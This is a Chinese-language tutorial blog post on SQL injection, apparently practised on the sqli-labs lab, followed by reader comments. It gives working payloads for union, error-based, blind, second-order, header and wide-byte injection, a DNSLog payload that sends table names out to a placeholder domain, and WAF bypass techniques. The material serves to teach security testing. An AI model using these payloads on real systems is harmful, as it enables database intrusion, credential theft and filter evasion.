目录
什么是SQL注入
官方回答:
SQL注入(SQL Injection)是一种网络安全漏洞,攻击者通过将恶意的SQL代码插入到输入字段中,试图操纵应用程序的数据库查询。这种攻击通常发生在用户输入未被正确验证或清洗的情况下。
通俗理解:
就是参数没有被过滤直接被服务器执行,于是就可能被黑客在正常参数后添加恶意的SQL语句。
如何判断是否存在SQL注入
1. 使用构造闭合判断
同学同学,为什么构造闭合可以判断有没有存在SQL注入啊????
来套源码解释就明白了!
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1;";这个查询数据的SQL语句,id参数通过GET传参到这里进行查询。如果我们传的id=1,那语句就变成了:
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1;";如果我们传的是id=1',关键的来了,语句就变成了:
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";多了一个',很显然会发生报错。这时候我们是不是就得到了一个信息,服务器把我们的参数内容全给执行了。实验一下看看:
可以看到数据库报错的提示,很显然就是把我们的1'都带入了进去。
双引号和括号同理。所以就有了看见参数都加'或者")的方式(当然这对没有对数据加密的很有用,但是对那些进行了数据加密的就不能这样做了,因为人家加密了,你加个'")的能被接收才怪了,你需要逆向找到他的加密方式,把测试payload加密后再测试!不要傻乎乎的单引号这样你测一百年也测不到。原因可以看我上一篇js逆向的文章就知道了。)
2. 使用逻辑特性判断注入类型
这种就是通过逻辑特性来判断存在的注入是什么类型。
同学同学,为什么要判断注入类型啊???
这是因为数字型不需要闭合,字符型需要闭合。
结论:
- 若
?id=1 and 1=1和?id=1 and 1=2都没有报错,则是字符型注入。 - 若
?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入。
原因:
若注入 ?id=1 and 1=2,则数据库中查询语句为:
select * from user where id='1 and 1=2';因为id为int类型,所以传入的 1 and 1=2 会变成这样的语句:
select * from user where id='1';因为这时候and是与操作,1=2为假为0。实验一下:
同学同学,为什么需要闭合啊?你不闭合怎么执行你要执行的语句呢!!!!
注入类型
1. 联合查询注入
适用范围: 适合有回显位的注入,即查询后内容输出可以被看到。
判断几个显示位
第一步: 首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1' order by 3 --+ 第二步: 然后看那几列显示(--是注释,+是空格)
?id=-1' union select 1,2,3 --+可以看到有两个。
第三步: 爆数据库名字版本一下
?id=-1' union select 1,database(),version()--+(database,version是数据库的一些自带函数)
第四步: 爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(group_concat是连接函数,把字段合在一起,information_schema.tables 表示的是该数据库下的表,where是判断条件,只有mysql数据库才是information_schema.tables,其他数据库语句不同,这sql语句的意思就是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。)
第五步: 选表爆字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+第六步: 通过字段查内容
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+这就是一整套流程了。
2. 报错注入
三种报错注入的方法:
2.1 group by 重复键冲突
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --+2.2 extractvalue函数
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+ //获取数据库名字2.3 updatexml函数
?id=1' and updatexml(1,concat('^',(需要查询的内容),'^'),1) --+3. 盲注
(前面是有回显位,那没有回显就使用盲注)
盲注又分布尔盲注、时间盲注。
3.1 布尔盲注
用在只有对错,但没有其他信息。我们可以利用这个来构造payload(好比我说你的密码第一位是1吗?你回答false,那我再问你的密码第一位是2吗,你回答true,那我就知道了你的密码第一位是2。这样爆下去就能得到信息啦)。
3.2 时间盲注
在上面的基础上,这次我连对错都不显示在页面,我们就插入sleep函数,对了就正常,不对就延迟五秒,这样也能得到信息。
常用的几个构造函数:ascii()、substr()、length()、exists()、concat()等。
ascii:转换为ascii码,字母变数字。substr:截取字符串长度,比如说要知道数据库名字长度就可用这个。length:就是长度。exists:判断是否存在。concat:拼接一起后输出。
通常这几个相互配合使用。
实验一下:
解释:
?id=1' and ascii(substr((select database()),1,1))=115--+substr(a,b,c):a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码。115时候正确,说明第一个是s,因为115对应ascii是s。
时间盲注:
?id=1' and if(length((select database()))>7,sleep(5),1)--+这个时候,length会判断数据库长度是不是大于7,如果是就睡五秒,如果不是就直接执行,我们可以清楚看到网页转圈圈。
4. 堆叠注入
所谓堆叠就是一次执行好几个sql语句用;分开。比如:
select id from users; select username from users;5. 二次注入
24关就是二次注入演示一下就知道什么叫二次注入了。
(先注册的admin’#在后面修改密码时形成了闭合)导致数据库修改掉了admin的密码。
6. HTTP头注入
常见的SQL注入一般是通过请求参数或是表单进行注入,而HTTP头注入是通过HTTP协议头部字段值进行注入。
那http头有什么呢?
- User-Agent注入
User-Agent 是一个浏览器在向网络服务器发送请求时附带的字符串,用于识别浏览器的类型、版本以及用户所使用的操作系统。 - Cookie注入
Cookie 是一种由网站存储在用户浏览器中的小文本文件,用于保存用户的偏好设置、会话信息或其他状态信息,常用于用户认证。 - Referer注入
referer来源头。 - X-Forwarded-For注入
X-Forwarded-For 是一个HTTP头部字段,用于识别通过代理服务器或负载均衡器转发的客户端的真实IP地址。当用户通过代理访问一个网站时,目标服务器接收到的请求可能不会包含用户的真实IP地址,而是代理服务器的IP。为了维护客户端的真实IP信息,代理服务器会在请求中增加X-Forwarded-For头。
7. 宽字节注入
通常情况下,SQL注入点是通过单引号来识别的。但当数据经过 addslashes() 处理时,单引号会被转义成无功能性字符,在判断注入点时失效。攻击者利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜线转义机制,并使单引号逃逸,实现对数据库查询语句的篡改。
输入payload: ' or 1=1 #
经过过滤后:\' or 1=1 #
我们在payload中的'之前加了一个字符%df,经过过滤以后,%df'就变成了%df\',对应的URL编码为:%df%5c%27。当MySQL使用GBK编码时,会将%df%5c解析成一个字,从而使得单引号%27成功逃逸。就不演示了。
8. DNSLog注入
前置知识:
什么是dnslog?
dns服务主要是域名解析服务器将域名转换成ip时,会生成一个日志,主要记录:什么时候请求解析,什么域名,映射出什么ip;
但一般来说是看不到解析日志的,但有开放的平台:dnslog.cn
同学同学,为什么要用dnslog注入啊,在我们没办法显示出来我们查询数据的情况下,利用dnslog把我们的数据带出来,就是利用该客户端请求dnslog,把数据显示给我们看了,也叫ooB
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.你的dns网址'))),1,0)-- +9. sqlmap的使用
上述都是手工注入,前期可以帮助我们学习理解注入原理。
我们还可以借助自动化工具来完成诸如扫描。
不整命令行,我们直接使用图形化版本的sqlmap,不再需要记忆参数。
结果保存在文件中,需要可以找我要(仅供学习!)
10. 绕过waf的方法
简介
WAF的绕过我们无非就是利用WEB程序缺陷,容器特性,网络协议,数据库特性来组合利用绕过,从用户发出请求到数据库的每一点,寻找突破口。
常见的手段
- HTTP协议
- 大小混写
- 替换
- 使用特殊字符
- 使用编码
- 等价替换
- 容器特性
- 白名单
- 缓冲溢出
HTTP协议
http协议有很多功能,一般来说我们可以用到的就是编码功能,后来有大佬发现了分块传入来绕过WAF,具体大家可以百度看看,大概http协议我们可以总结如下。
- 构造畸形数据包
- 编码
- 分块
- 数据包溢出
大小混写
大小混写一般是绕过一些简单的正则,对大小写敏感的。
如:
UnIon SlEct 替换
这种一般是因为正则把我们的关键词给替换删除了,但是没有进行多次匹配导致绕过。
如:
ununionion seselectlect
un/**/ion se/**/lect特殊字符
特殊符号也多是数据库的特性,利用数据库可以使用多种符号来绕过,多种的运算符。
如:
updatexmland!!!1=1/**//*!50000*/
使用编码
这里和http协议差不多,多重编码等等,url编码会自己解码一次,但是有的程序它可以自己多次解密,那么我们就可以拿来利用。
还有的程序参数它是支持base64的,那么我们的payload就可以编码绕过了。
如:
= -> %3D ->%25%33%44and 1=1 -> YW5kIDE9MQ==
等价替换
mysql众多的函数也为我们的bypass带来了很多便利,比如一个分割字符串的函数都是几个,倘若被过滤一个可以换成其他的。
比如说:
substr(version(),1,1)Substring(version(),1,1)Left(version(),1)
容器特性
从大佬文章中得知(谢谢有奉献精神的前辈们)
- iis+asp 的%特性:当传入的
s%e%l%e%c%t函数被%分割时,解析出来还是select - iis+asp 的unicode特性 :iis支持Unicode的解析,我们传入
s%u0065lect解析为select
+--------------------------------------------------------------------+
| Keywords | WAF | ASP/ASP.NET |
+--------------------------------------------------------------------+
| sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. |
| ;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx |
| <scr%ipt> | <scr%ipt> | <script> |
| <if%rame> | <if%rame> | <iframe> |
+--------------------------------------------------------------------+白名单
有的程序它会对本地ip不拦截,同时它的host使用X-Forwarded-For等来获取
X-Forwarded-For:127.0.0.1缓冲溢出
waf它处理数据包的大小有限,早期安全狗你提交过长url会直接崩溃
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26如果有错误,及时提醒我,避免误导,欢迎大家交流学习!
---





















太细了
说的太牛了
大师我悟了
@G : 哈哈哈哈哈